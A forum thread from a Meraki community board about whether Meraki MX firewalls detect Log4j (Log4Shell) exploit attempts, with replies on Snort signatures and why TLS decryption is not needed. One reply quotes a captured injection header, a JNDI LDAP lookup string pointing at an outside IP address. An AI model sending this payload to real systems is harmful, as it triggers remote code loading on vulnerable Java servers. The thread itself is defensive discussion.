Log4J detection

lpopejoy
A model citizen

Log4J detection

According to https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html Meraki MX (w/ Advanced Security, I'm sure) can detect and block Log4J exploits (https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java).

 

I'm curious how this is possible if the the traffic is TLS encrypted.  As far as I know, Meraki MX is not doing SSL inspection/decryption which means that Log4j compromises couldn't be detected, right?

11 REPLIES 11
AndrewHaines76
Conversationalist

Would be nice to get comment from Cisco/Meraki.   Lot of patching this week.

Andrew Haines
LucasDelmarcel
Conversationalist

Hi community, we have this issue currently investigated (not with Cisco, but internally as we are a Cisco partner)

Meraki MX uses the same kind of security intelligence sources as lets say an FTD  (Cisco Thalos, Snort,etc,..) , and after discussed this with our senior engineers we believe Meraki firewalls should have the latest updates installed and so the latest Snort-definitions.


See this for reference

https://www.snort.org/advisories/talos-rules-2021-12-11

It doesn't seem SSL inspection is necessary, but layer 7 application-based policy should do for IPS.

 

Also, I would personally recommend to restrict LDAP, DNS traffic to a bare minimum so it's tightened to what you really need (ex: DNS-server can reach outside, but rest of the network is more limited)

General security advisory..

 

Hope this helps

 

Kind regards

DangerNoodle
Here to help

For what it's worth, the IDS/IPS in the Meraki MX series is catching it. We had these alerts on a public facing DVR.

 

DangerNoodle_0-1639411822535.png

 

@DangerNoodle  that is VERY cool.  Thank you for sharing that.  I would still like to know more details on *how* it works, but I guess it is just looking at source IP's.  Do you know if this connection was inbound to a TLS encrypted port?

It was a http request made to the login page of the DVR. 

It triggered this SNORT rule: https://snort.org/rule_docs/1-58737

 

Looking at the inspect packet, they tried to inject this:

User-Agent: ${jndi:ldap://193.3.19.159:53/c}..Accept: */*..Accept-Encoding: gzip

 

Ah, ok.  So if it would have been HTTPS, would it still have been blocked?  My guess is "no."

IT_Magician
Building a reputation

To confirm, if Meraki is showing this as being blocked, that does not mean the downstream device is vulnerable, correct? It just means someone was hitting the downstream device with a string which the MX is blocking?

Correct. You should make an inventory to assess what is running vulnerable versions of software. I use Metasploit vulnerability scanner for this. Stay safe !

myky_
Conversationalist

@lpopejoy for IPS/IDS, you don't necessarily need SSL decryption; otherwise, it would be useless a long time ago. 

Primarily, it's based on the signatures (traffic flow behaviour/pattern/fingerprinting) that exploit uses.

 

Once it's detected/identified, a signature is created and pushed to the device IPS/IDS database.

GIdenJoe
Kind of a big deal
Kind of a big deal

Indeed.  You would bring most MX'es to their knees if you turned on decryption.

hockeydude
Getting noticed

Same here. IDS blocking log4j attempts

Screen Shot 2021-12-14 at 3.27.09 PM.png

Get notified when there are additional replies to this discussion.
Welcome to the Meraki Community!
To start contributing, simply sign in with your Cisco account. If you don't yet have a Cisco account, you can sign up.
Labels